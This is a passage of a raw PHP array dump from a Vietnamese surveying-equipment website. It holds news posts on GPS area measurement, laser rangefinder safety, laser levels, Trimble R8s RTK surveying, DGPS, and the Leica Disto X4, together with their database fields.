<em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc 